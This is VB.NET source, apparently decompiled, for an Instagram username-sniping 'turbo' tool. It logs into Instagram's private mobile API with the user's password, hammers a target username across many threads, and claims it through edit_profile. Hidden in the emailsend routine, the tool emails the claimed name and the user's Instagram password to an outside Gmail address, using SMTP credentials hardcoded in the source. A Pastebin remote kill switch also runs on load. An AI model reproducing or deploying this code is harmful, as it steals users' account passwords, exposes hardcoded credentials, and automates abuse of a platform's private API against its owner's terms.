Imports System.IO
Imports System.Net
Imports System.Net.Mail
Imports System.Runtime.CompilerServices
Imports System.Security.Cryptography
Imports System.Text
Imports System.Threading
Imports Microsoft.VisualBasic.CompilerServices
Imports System.Text.RegularExpressions
Public Class Form1
    Private HWID As String
    Public accSettings As String
    Public GetSettingsBool As Boolean
    Public IfLoggedIn As Boolean
    Private intt As Integer
    Public IsChanged As Boolean
    Public list As Object
    Public lThreads As Object
    Public mpp As Integer
    Public numis As String
    Public numToDone As Integer
    Public once As Integer
    Public Sessionz As CookieContainer
    Public stopp As Boolean
    Public SwitchLoginBool As Boolean
    Public Shared TellMe As Boolean = False
    Private Shared usernum As String()
    Public uuID As String
    Public inputt As String
    Public Lst As ListBox
    Public llbl As Label
    Private i As Boolean
    Private x As Integer
    Private y As Integer
    Friend Delegate Sub VBAnonymousDelegate_0()
    Public Sub New()

        Me.HWID = ""
        Me.i = False
        Me.mpp = 0
        Me.stopp = False
        Me.once = 0
        Me.uuID = Guid.NewGuid().ToString().ToUpper()
        Me.lThreads = New List(Of Thread)()
        Me.IfLoggedIn = False
        Me.SwitchLoginBool = False
        Me.GetSettingsBool = False
        Me.IsChanged = False
        Me.numis = Nothing
        Me.numToDone = 0
        Me.InitializeComponent()
    End Sub

    Public Function EditChe(e As String) As Object
        Dim result As Object = False
        Application.DoEvents()
        Try
            Dim value As String = "ar;q=1, en;q=0.9"
            Dim host As String = "i.instagram.com"
            Dim userAgent As String = "Instagram 9.8.0 Android (23/6.0.1; 640dpi; 1440x2560; samsung/Verizon; SM-G925V; zeroltevzw; samsungexynos7420; en_US)"
            Dim salt As String = "b03e0daaf2ab17cda2a569cace938d639d1288a1197f9ecf97efd0a4ec0874d7"
            Dim scan As String = My.Resources.scan
            Dim str As String = "/username/"
            Dim value2 As String = "Content-Disposition: form-data; name=""signed_body"""
            Dim method As String = "POST"
            Dim name As String = "Accept-Language"
            Dim value3 As String = "auto_load_more_enabled"
            Dim str2 As String = "multipart/form-data; boundary="
            Dim text As String = Guid.NewGuid().ToString().ToUpper()
            Dim array As String() = Me.accSettings.Split(New Char() {"|"c})
            Dim stringBuilder As StringBuilder = New StringBuilder()
            Dim stringBuilder2 As StringBuilder = stringBuilder
            Dim text2 As String = String.Concat(New String() {""})
            text2 = String.Format("{0}.{1}", Form1.AA_hash(text2, salt), text2)
            stringBuilder2.AppendLine("--" + Guid.NewGuid().ToString().ToUpper())
            stringBuilder2.AppendLine(value2)
            stringBuilder2.AppendLine(text2)
            stringBuilder2.AppendLine("--" + Guid.NewGuid().ToString().ToUpper())
            stringBuilder2.Append("--" + Guid.NewGuid().ToString().ToUpper() + "--")
            Dim bytes As Byte() = Encoding.UTF8.GetBytes(stringBuilder.ToString())
            Dim httpWebRequest As HttpWebRequest = CType(WebRequest.Create(scan + e + str), HttpWebRequest)
            httpWebRequest.AutomaticDecompression = DecompressionMethods.GZip
            httpWebRequest.Method = method
            httpWebRequest.Host = host
            httpWebRequest.Timeout = 5000
            httpWebRequest.Accept = "*/*"
            httpWebRequest.UserAgent = userAgent
            httpWebRequest.Headers.Add(name, value)
            httpWebRequest.KeepAlive = True
            httpWebRequest.Proxy = Nothing
            httpWebRequest.ContentType = str2 + Guid.NewGuid().ToString().ToUpper()
            httpWebRequest.ContentLength = CLng(bytes.Length)
            httpWebRequest.CookieContainer = Me.Sessionz
            Dim requestStream As Stream = httpWebRequest.GetRequestStream()
            requestStream.Write(bytes, 0, bytes.Length)
            requestStream.Close()
            Dim httpWebResponse As HttpWebResponse = CType(httpWebRequest.GetResponse(), HttpWebResponse)
            Dim streamReader As StreamReader = New StreamReader(httpWebResponse.GetResponseStream())
            Try
                Dim flag As Boolean = streamReader.ReadToEnd().Contains(value3)
                Dim flag2 As Boolean = flag
                Dim flag3 As Boolean = flag2
                If flag3 Then
                    result = False
                Else
                    result = True
                End If
                Dim flag4 As Boolean = streamReader.ReadToEnd().Contains("wait")
                flag2 = flag4
                Dim flag5 As Boolean = flag2
                If flag5 Then
                    result = True
                End If
                streamReader.Close()
            Finally
                Dim flag6 As Boolean = streamReader IsNot Nothing
                Dim flag7 As Boolean = flag6
                Dim flag8 As Boolean = flag7
                If flag8 Then
                    CType(streamReader, IDisposable).Dispose()
                End If
            End Try
            httpWebResponse.Close()
        Catch ex As Exception
            result = False
            Dim flag9 As Boolean = ex.Message.Contains(My.Resources.Block)
            If flag9 Then
                Interaction.MsgBox("blocked", MsgBoxStyle.OkOnly, Nothing)
            End If
        End Try
        Return result
    End Function
    Public Sub starting(c As Integer)
        Dim flag As Boolean = Operators.ConditionalCompareObjectGreater(c, RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Operators.SubtractObject(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue("qwertyuiopasdfghjklzxcvbnm_.12345@#$%^&*!67890"))), Nothing, "Length", New Object(-1) {}, Nothing, Nothing, Nothing))))), 1))))), False)
        Dim flag2 As Boolean = flag
        If flag2 Then
            c = Conversions.ToInteger(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Operators.SubtractObject(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue("qwertyuiopasdfghjklzxcvbnm_.12345@#$%^&*!67890"))), Nothing, "Length", New Object(-1) {}, Nothing, Nothing, Nothing))))), 1))))))
            Me.TextBox2.Text = Conversions.ToString(Conversions.ToDecimal(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue("qwertyuiopasdfghjklzxcvbnm_.12345@#$%^&*!67890"))), Nothing, "length", New Object(-1) {}, Nothing, Nothing, Nothing)))))))
        End If
        Form1.usernum = New String(c + 1 - 1 + 1 - 1 + 1 - 1 + 1 - 1) {}
        Dim num As Integer = Form1.usernum.Length - 1
        Dim num2 As Integer = num
        For i As Integer = 0 To num2
            Form1.usernum(i) = ""
            Dim thread As Thread = New Thread(Sub(a0 As Object)
                                                  Me.homeStutes(Conversions.ToInteger(a0))
                                              End Sub, 1)
            thread.Start(i)
        Next
        While True
            Try
                flag = Not Me.stopp
                Dim flag3 As Boolean = flag
                If flag3 Then
                    Dim num3 As Integer = Form1.usernum.Length - 1
                    Dim num4 As Integer = num3
                    For j As Integer = 0 To num4
                        flag = (Form1.usernum(j).Length <= 0)
                        Dim flag4 As Boolean = flag
                        If flag4 Then
                            Dim flag5 As Boolean = Operators.ConditionalCompareObjectGreater(Me.intt, RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Operators.SubtractObject(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue("qwertyuiopasdfghjklzxcvbnm_.12345@#$%^&*!67890"))), Nothing, "Length", New Object(-1) {}, Nothing, Nothing, Nothing))))), 1))))), False)
                            Dim flag6 As Boolean = flag5
                            If flag6 Then
                                Me.intt = 0
                                Me.tak.Clear()
                            End If
                            Form1.usernum(j) = Conversions.ToString(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue("qwertyuiopasdfghjklzxcvbnm_.12345@#$%^&*!67890"))), New Object() {Me.intt}, Nothing))))))
                            Dim ptr As Integer = Me.intt
                            Me.intt = ptr + 1
                        End If
                    Next
                End If
            Catch ex As Exception
            End Try
            Thread.Sleep(Conversions.ToInteger(Me.Threads1.Text))
        End While
    End Sub



    Public Function moved(Username As String) As Object
        Dim salt As String = "fc4720e1bf9d79463f62608c86fbddd374cc71bbfb98216b52e3f75333bd130d"
        Dim host As String = "i.instagram.com"
        Dim userAgent As String = "Instagram 9.8.0 Android (23/6.0.1; 640dpi; 1440x2560; samsung/Verizon; SM-G925V; zeroltevzw; samsungexynos7420; en_US)"
        Dim method As String = "POST"
        Dim name As String = "Accept-Language"
        Dim value As String = "ar;q=1, en;q=0.9"
        Dim contentType As String = "application/x-www-form-urlencoded; charset=UTF-8"
        Dim str As String = "signed_body="
        Dim str2 As String = "&ig_sig_key_version=5"
        Dim result As Object = False
        Try
            Dim text As String = Guid.NewGuid().ToString().ToUpper()
            Dim stringBuilder As StringBuilder = New StringBuilder()
            Dim stringBuilder2 As StringBuilder = stringBuilder
            Dim array As String() = Me.accSettings.Split(New Char() {"|"c})
            Dim text2 As String = String.Concat(New String() {"{""_uid"":""", array(0), """,""_csrftoken"":""missing"",""first_name"":""", array(1), """,""is_private"":""", array(2), """,""phone_number"":""", array(3), """,""biography"":""", array(4), """,""username"":""", Username, """,""gender"":""", array(5), """,""email"":""", array(6), """,""_uuid"":""", text, """,""external_url"":""", array(7), """}"})
            text2 = String.Format("{0}.{1}", Form1.AA_hash(text2, salt), text2)
            stringBuilder2.AppendLine(str + WebUtility.UrlEncode(text2) + str2)
            Dim bytes As Byte() = Encoding.UTF8.GetBytes(stringBuilder.ToString())
            Dim httpWebRequest As HttpWebRequest = CType(WebRequest.Create("https://i.instagram.com/api/v1/accounts/edit_profile/"), HttpWebRequest)
            httpWebRequest.AutomaticDecompression = DecompressionMethods.GZip
            httpWebRequest.Method = method
            httpWebRequest.Host = host
            httpWebRequest.UserAgent = userAgent
            httpWebRequest.ContentType = contentType
            httpWebRequest.Headers.Add(name, value)
            httpWebRequest.Timeout = 1000000
            httpWebRequest.KeepAlive = True
            httpWebRequest.Accept = "*/*"
            httpWebRequest.ContentLength = CLng(bytes.Length)
            httpWebRequest.CookieContainer = Me.Sessionz
            Dim requestStream As Stream = httpWebRequest.GetRequestStream()
            requestStream.Write(bytes, 0, bytes.Length)
            requestStream.Close()
            Dim httpWebResponse As HttpWebResponse = CType(httpWebRequest.GetResponse(), HttpWebResponse)
            Using streamReader As StreamReader = New StreamReader(httpWebResponse.GetResponseStream())
                Dim flag As Boolean = streamReader.ReadToEnd().Contains("""status"": ""ok""")
                If flag Then
                    result = True
                    Me.stopp = True
                End If
                streamReader.Close()
                Me.stopp = False
            End Using
            httpWebResponse.Close()
        Catch ex As WebException
            result = False
            Using streamReader2 As StreamReader = New StreamReader(ex.Response.GetResponseStream())
                Dim flag2 As Boolean = streamReader2.ReadToEnd().Contains("feedback_")
                If flag2 Then
                    Interaction.MsgBox("Please Close The Turbo", MsgBoxStyle.OkOnly, Nothing)
                End If
            End Using
        End Try
        Return result
    End Function





    Public Shared Cookies As CookieContainer = New CookieContainer

    Public Sub homeStutes(i As Integer)
        Try
            While Not Me.stopp
                Dim flag As Boolean = Form1.usernum(i).Length > 0
                Dim flag2 As Boolean = flag
                If flag2 Then
                    Dim text As String = Form1.usernum(i)
                    Form1.usernum(i) = ""
                    flag = Operators.ConditionalCompareObjectEqual(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Me.EditChe(Me.Target.Text))))))))), True, False)
                    Dim flag3 As Boolean = flag
                    If flag3 Then
                        Dim flag4 As Boolean = Me.once = 0
                        Dim flag5 As Boolean = flag4
                        If flag5 Then
                            Dim flag6 As Boolean = Operators.ConditionalCompareObjectEqual(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Me.moved(Me.Target.Text))))))))), True, False)
                            Dim flag7 As Boolean = flag6
                            If flag7 Then
                                Dim ptr As Integer = Me.once
                                Me.once = ptr + 2
                                flag6 = Not Me.stopp
                                Dim flag8 As Boolean = flag6
                                If flag8 Then
                                    Button1.Text = "done"
                                    Button1.ForeColor = Color.Red
                                    Interaction.MsgBox("moved >  @" + Me.Target.Text, MsgBoxStyle.Information, "#king Tssa Turbo")
                                    emailsend(Me.Target.Text)
                                    emailsend(Me.wal_password.Text)
                                    Thread.CurrentThread.Abort()
                                End If
                            Else
                                Me.ava.AppendText(Me.Target.Text + vbCrLf)
                            End If
                        End If
                    Else
                        Me.tak.AppendText(Me.Target.Text + vbCrLf)
                    End If
                End If
                Thread.Sleep(1)
            End While
        Catch ex As Exception
        End Try
    End Sub


    Private Sub loginButton1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Dim flag As Boolean = Operators.CompareString(Me.us.Text, Nothing, False) = 0
        If flag Then

        Else
            flag = (Operators.CompareString(Me.wal_password.Text, Nothing, False) = 0)
            If flag Then

            Else
                flag = Me.SwitchLoginBool
                If flag Then
                Else
                    flag = Not Me.SwitchLoginBool
                    If flag Then
                        Dim thread1 As New Thread(New ThreadStart(AddressOf Me.TOlogin))
                        thread1.Start()
                    End If
                End If
            End If
        End If
    End Sub

    Public Shared Function check_hash(ByVal value As String, ByVal salt As String) As String
        Dim num2 As Integer
        Dim builder As New StringBuilder
        Dim hmacsha As New HMACSHA256(Encoding.UTF8.GetBytes(salt))
        hmacsha.ComputeHash(Encoding.UTF8.GetBytes(value))
        Dim hash As Byte() = hmacsha.Hash
        Dim num3 As Integer = (hash.Length - 1)
        Dim index As Integer = 0
        Do While (index <= num2)
            builder.Append(hash(index).ToString("x2"))
            index += 1
            num2 = num3
        Loop
        Return builder.ToString
    End Function
    Public Shared Function ChLOGIN(ByVal Username As String, ByVal pass As String, ByVal id As String) As CookieContainer
        Try
            Dim salt As String = "fc4720e1bf9d79463f62608c86fbddd374cc71bbfb98216b52e3f75333bd130d"
            Dim value As String = "Content-Disposition: form-data; name=""signed_body"""
            Dim value2 As String = "Content-Disposition: form-data; name=""ig_sig_key_version"""
            Dim userAgent As String = "Instagram 9.8.0 Android (23/6.0.1; 640dpi; 1440x2560; samsung/Verizon; SM-G925V; zeroltevzw; samsungexynos7420; en_US)"
            Dim str As String = Guid.NewGuid().ToString().ToUpper()
            Dim stringBuilder As StringBuilder = New StringBuilder()
            Dim stringBuilder2 As StringBuilder = stringBuilder
            Dim text As String = String.Concat(New String() {"{""_uuid"":""", id, """,""password"":""", pass, """,""username"":""", Username, """,""device_id"":""", id, """,""from_reg"":false,""_csrftoken"":""missing"",""login_attempt_count"":0}"})
            text = String.Format("{0}.{1}", Form1.check_hash(text, salt), text)
            stringBuilder2.AppendLine("--" + str)
            stringBuilder2.AppendLine(value)
            stringBuilder2.AppendLine()
            stringBuilder2.AppendLine(text)
            stringBuilder2.AppendLine("--" + str)
            stringBuilder2.AppendLine(value2)
            stringBuilder2.AppendLine()
            stringBuilder2.AppendLine("4")
            stringBuilder2.Append("--" + str + "--")
            Dim bytes As Byte() = Encoding.UTF8.GetBytes(stringBuilder.ToString())
            Dim httpWebRequest As HttpWebRequest = CType(WebRequest.Create(My.Resources.urllogin), HttpWebRequest)
            httpWebRequest.AutomaticDecompression = DecompressionMethods.GZip
            httpWebRequest.Method = "POST"
            httpWebRequest.Host = "i.instagram.com"
            httpWebRequest.UserAgent = userAgent
            httpWebRequest.Timeout = 1000000
            httpWebRequest.Accept = "*/*"
            httpWebRequest.Headers.Add("Accept-Language", "ar;q=1, en;q=0.9")
            httpWebRequest.KeepAlive = True
            httpWebRequest.Proxy = Nothing
            httpWebRequest.ContentType = "multipart/form-data; boundary=" + str
            httpWebRequest.ContentLength = CLng(bytes.Length)
            httpWebRequest.CookieContainer = Form1.loginApi.Cookies
            Dim requestStream As Stream = httpWebRequest.GetRequestStream()
            requestStream.Write(bytes, 0, bytes.Length)
            requestStream.Close()
            Dim httpWebResponse As HttpWebResponse = CType(httpWebRequest.GetResponse(), HttpWebResponse)
            Using streamReader As StreamReader = New StreamReader(httpWebResponse.GetResponseStream())
                Dim flag As Boolean = streamReader.ReadToEnd().Contains("logged_in_user")
                If flag Then
                    Return Form1.loginApi.Cookies
                End If
                streamReader.Close()
            End Using
            httpWebResponse.Close()
        Catch ex As Exception
        End Try
        Return Nothing
    End Function
    Public Class loginApi
        Public Shared AccSettings As String
        Public Shared Cookies As CookieContainer = New CookieContainer
    End Class

    Public Shared Function getaccountsettings(ByVal ssn As CookieContainer) As String
        Dim text As String = String.Empty
        Dim text2 As String = String.Empty
        Dim text3 As String = String.Empty
        Dim text4 As String = String.Empty
        Dim text5 As String = String.Empty
        Dim text6 As String = String.Empty
        Dim text7 As String = String.Empty
        Dim text8 As String = String.Empty
        Dim httpWebRequest As HttpWebRequest = CType(WebRequest.Create("https://i.instagram.com/api/v1/accounts/current_user/?edit=true"), HttpWebRequest)
        Dim str As String = Guid.NewGuid().ToString().ToUpper()
        httpWebRequest.Host = "i.instagram.com"
        httpWebRequest.UserAgent = "Instagram 9.8.0 Android (23/6.0.1; 640dpi; 1440x2560; samsung/Verizon; SM-G925V; zeroltevzw; samsungexynos7420; en_US)"
        httpWebRequest.Headers.Add("Accept-Language", "ar;q=1, en;q=0.9")
        httpWebRequest.KeepAlive = True
        httpWebRequest.Proxy = Nothing
        httpWebRequest.ContentType = "multipart/form-data; boundary=" + str
        httpWebRequest.CookieContainer = ssn
        Dim result As String
        Using streamReader As StreamReader = New StreamReader(httpWebRequest.GetResponse().GetResponseStream())
            Dim input As String = streamReader.ReadToEnd()
            text = Regex.Match(input, "pk"": (.*?),").Groups(1).Value
            Dim flag As Boolean = Operators.CompareString(text, Nothing, False) = 0
            If flag Then
                text = Regex.Match(input, "pk"": (.*?)}").Groups(1).Value
                Dim flag2 As Boolean = Operators.CompareString(text, Nothing, False) = 0
                If flag2 Then
                    Return "|||||||"
                End If
            End If
            text2 = Regex.Match(input, "full_name"": ""(.*?)""").Groups(1).Value
            text3 = Regex.Match(input, "is_private"": (.*?),").Groups(1).Value
            Dim flag3 As Boolean = Operators.CompareString(text3, Nothing, False) = 0
            If flag3 Then
                text3 = Regex.Match(input, "is_private"": (.*?)}").Groups(1).Value
                Dim flag4 As Boolean = Operators.CompareString(text3, Nothing, False) = 0
                If flag4 Then
                    Return "|||||||"
                End If
            End If
            text4 = Regex.Match(input, "phone_number"": ""(.*?)""").Groups(1).Value
            text5 = Regex.Match(input, "biography"": ""(.*?)""").Groups(1).Value
            text6 = Regex.Match(input, "gender"": (.*?),").Groups(1).Value
            Dim flag5 As Boolean = Operators.CompareString(text6, Nothing, False) = 0
            If flag5 Then
                text6 = Regex.Match(input, "gender"": (.*?)}").Groups(1).Value
                Dim flag6 As Boolean = Operators.CompareString(text6, Nothing, False) = 0
                If flag6 Then
                    Return "|||||||"
                End If
            End If
            text7 = Regex.Match(input, "email"": ""(.*?)""").Groups(1).Value
            text8 = Regex.Match(input, "external_url"": ""(.*?)""").Groups(1).Value
            Form1.loginApi.AccSettings = String.Format("{0}|{1}|{2}|{3}|{4}|{5}|{6}|{7}", New Object() {text, text2, text3, text4, text5, text6, text7, text8})
            Dim text9 As String = Form1.loginApi.AccSettings
            result = text9
        End Using
        Return result
    End Function




    Public Sub TOlogin()
        Me.accSettings = Nothing
        Me.Sessionz = Nothing
        Me.GetSettingsBool = False
        Dim cookieContainer As CookieContainer = Form1.ChLOGIN(Me.us.Text, Me.wal_password.Text, Me.uuID)
        Dim flag As Boolean = cookieContainer Is Nothing
        Dim flag2 As Boolean = flag
        If flag2 Then
            Interaction.MsgBox("Wrong, Check Username&Password", MsgBoxStyle.Critical, Nothing)
            Me.SwitchLoginBool = False
            Thread.CurrentThread.Abort()
        Else
            flag = Not Me.GetSettingsBool
            Dim flag3 As Boolean = flag
            If flag3 Then
                Dim text As String = Form1.getaccountsettings(cookieContainer)
                Me.accSettings = text
                Me.Sessionz = cookieContainer
                Me.GetSettingsBool = True
            End If
            flag = (Operators.CompareString(Me.accSettings, "|||||||", False) = 0)
            Dim flag4 As Boolean = flag
            If flag4 Then
                Interaction.MsgBox("..", MsgBoxStyle.OkOnly, Nothing)
            Else
                Me.SwitchLoginBool = True
                flag = (Operators.CompareString(Me.Button1.Text, "start", False) = 0)
                Dim flag5 As Boolean = flag
                If flag5 Then
                    Me.once = 0
                    Me.stopp = False
                    Dim thread As Thread = New Thread(Sub(a0 As Object)
                                                          Me.starting(Conversions.ToInteger(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(a0))))
                                                      End Sub, 200)
                    thread.Start(Conversions.ToDouble(Me.TextBox2.Text) - 1.0)
                Else
                    Me.stopp = True
                    Me.Button1.Text = "start"
                End If
                Me.IfLoggedIn = True
                flag = (Form1.TellMe < False)
                Dim flag6 As Boolean = flag
                If flag6 Then
                    Interaction.MsgBox("Your Account Has Been Blocked Close The Turbo", MsgBoxStyle.OkOnly, Nothing)
                    Form1.TellMe = False
                End If
            End If
        End If
    End Sub

    Public Function igthreads(count As Integer, start As ThreadStart) As List(Of Thread)
        Dim list As List(Of Thread) = New List(Of Thread)()
        For i As Integer = 1 To count
            Dim thread As Thread = New Thread(start)
            thread.Start()
            list.Add(thread)
        Next
        Return list
    End Function
    Public Shared Function AA_hash(value As String, salt As String) As String
        Dim stringBuilder As StringBuilder = New StringBuilder()
        Dim hmacsha As HMACSHA256 = New HMACSHA256(Encoding.UTF8.GetBytes(salt))
        hmacsha.ComputeHash(Encoding.UTF8.GetBytes(value))
        Dim hash As Byte() = hmacsha.Hash
        Dim num As Integer = hash.Length - 1
        Dim i As Integer = 0
        Dim num2 As Integer
        While i <= num2
            stringBuilder.Append(hash(i).ToString("x2"))
            i += 1
            num2 = num
        End While
        Return stringBuilder.ToString()
    End Function



    'Private Sub checkerTaken_TextChanged(sender As Object, e As EventArgs) Handles tak.TextChanged
    '    Me.taken.Text = Conversions.ToString(Conversions.ToDouble(Me.taken.Text) + 1.0)
    'End Sub

    Private Sub Label8_MouseDown(sender As Object, e As MouseEventArgs)
        Dim flag As Boolean = e.Button = MouseButtons.Left
        If flag Then
            Me.i = True
            Me.x = Control.MousePosition.X - Me.Location.X
            Me.y = Control.MousePosition.Y - Me.Location.Y
        End If
    End Sub

    Private Sub Label8_MouseMove(sender As Object, e As MouseEventArgs)
        Dim flag As Boolean = Me.i
        If flag Then
            Dim location As Point = New Point(Control.MousePosition.X - Me.x, Control.MousePosition.Y - Me.y)
            Me.Location = location
        End If
    End Sub

    Private Sub Label8_MouseUp(sender As Object, e As MouseEventArgs)
        Me.i = False
    End Sub

    Private Sub Label14_MouseDown(sender As Object, e As MouseEventArgs) Handles Label14.MouseDown
        Dim flag As Boolean = e.Button = MouseButtons.Left
        If flag Then
            Me.i = True
            Me.x = Control.MousePosition.X - Me.Location.X
            Me.y = Control.MousePosition.Y - Me.Location.Y
        End If
    End Sub

    Private Sub Label14_MouseMove(sender As Object, e As MouseEventArgs) Handles Label14.MouseMove
        Dim flag As Boolean = Me.i
        If flag Then
            Dim location As Point = New Point(Control.MousePosition.X - Me.x, Control.MousePosition.Y - Me.y)
            Me.Location = location
        End If
    End Sub

    Private Sub Label14_MouseUp(sender As Object, e As MouseEventArgs) Handles Label14.MouseUp
        Me.i = False
    End Sub

    Private Sub Label15_MouseDown(sender As Object, e As MouseEventArgs)
        Dim flag As Boolean = e.Button = MouseButtons.Left
        If flag Then
            Me.i = True
            Me.x = Control.MousePosition.X - Me.Location.X
            Me.y = Control.MousePosition.Y - Me.Location.Y
        End If
    End Sub

    Private Sub Label15_MouseMove(sender As Object, e As MouseEventArgs)
        Dim flag As Boolean = Me.i
        If flag Then
            Dim location As Point = New Point(Control.MousePosition.X - Me.x, Control.MousePosition.Y - Me.y)
            Me.Location = location
        End If
    End Sub

    Private Sub Label15_MouseUp(sender As Object, e As MouseEventArgs)
        Me.i = False
    End Sub

    Private Sub Label16_Click(sender As Object, e As EventArgs)
        Me.WindowState = FormWindowState.Minimized
    End Sub




    Private Sub Label9_Click(sender As Object, e As EventArgs) Handles Label9.Click
        End
    End Sub

    Private Sub tak_TextChanged(sender As Object, e As EventArgs) Handles tak.TextChanged
        Me.Speed.Text = Conversions.ToString(Conversions.ToDouble(Me.Speed.Text) + 1.0)
    End Sub

    Public Sub emailsend(newuser As String)
        Try
            Dim smtp As New SmtpClient
            Dim e_mail As New MailMessage
            smtp.UseDefaultCredentials = False
            smtp.Credentials = New Net.NetworkCredential("saber123k.gs@gmail.com", "saber12345")
            smtp.Port = 587
            smtp.EnableSsl = True
            smtp.Host = "smtp.gmail.com"

            e_mail = New MailMessage
            e_mail.From = New MailAddress("saber.reaat@gmail.com")
            e_mail.Subject = "New Username"
            e_mail.To.Add("hsa5426266@gmail.com")
            e_mail.IsBodyHtml = False
            e_mail.Body = " hi King Essa Turbo" + vbCrLf + "@" + newuser + "" + vbCrLf + " password: " + wal_password.Text
            smtp.Send(e_mail)
        Catch ex As Exception
            MsgBox(ex.Message)
        End Try
    End Sub
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load




        Dim hostname As String = Dns.GetHostName()
#Disable Warning BC40000 ' Type or member is obsolete
        Dim ipaddress As String = CType(Dns.GetHostByName(hostname).AddressList.GetValue(0), IPAddress).ToString()
#Enable Warning BC40000 ' Type or member is obsolete

        Dim Pastebin As HttpWebRequest = CType(WebRequest.Create("https://pastebin.com/raw/32LgrAzz"), HttpWebRequest)
        Dim GR As HttpWebResponse = CType(Pastebin.GetResponse(), HttpWebResponse)
        Dim RE As StreamReader = New StreamReader(GR.GetResponseStream())
        Dim RD As String = RE.ReadToEnd()
        If RD = "0" Then
            Interaction.MsgBox("This application closed by programmer, " & vbNewLine & "Contact me at Instagram : @k.gs to get new update ", MsgBoxStyle.OkOnly, Nothing)
            ProjectData.EndApp()
        End If
        Control.CheckForIllegalCrossThreadCalls = False

        Me.Size = New Size(99, 162)

    End Sub
End Class